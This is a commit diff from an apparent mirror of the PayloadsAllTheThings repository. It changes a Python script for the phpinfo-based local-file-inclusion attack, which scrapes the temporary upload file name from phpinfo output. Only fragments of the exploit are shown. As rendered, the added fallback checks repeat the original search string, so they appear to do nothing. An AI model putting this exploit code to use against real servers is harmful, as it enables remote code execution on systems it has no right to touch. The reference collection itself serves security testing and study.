mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
Fix character matching for '>' and its URL entity encoding from @CaoZnZZ
This commit is contained in:
parent
dd7525dc8f
commit
7f1823efbe
@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
|
||||
d += s.recv(offset)
|
||||
try:
|
||||
i = d.index("[tmp_name] =>")
|
||||
if i == -1:
|
||||
i = d.index("[tmp_name] =>")
|
||||
fn = d[i+17:i+31]
|
||||
except ValueError:
|
||||
return None
|
||||
@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq):
|
||||
break
|
||||
s.close()
|
||||
i = d.find("[tmp_name] =>")
|
||||
if i == -1:
|
||||
i = d.find("[tmp_name] =>")
|
||||
if i == -1:
|
||||
raise ValueError("No php tmp_name in phpinfo output")
|
||||
|
||||
@ -193,4 +197,4 @@ def main():
|
||||
|
||||
if __name__=="__main__":
|
||||
print("Don't forget to modify the LFI URL")
|
||||
main()
|
||||
main()
|
Loading…
Reference in New Issue
Block a user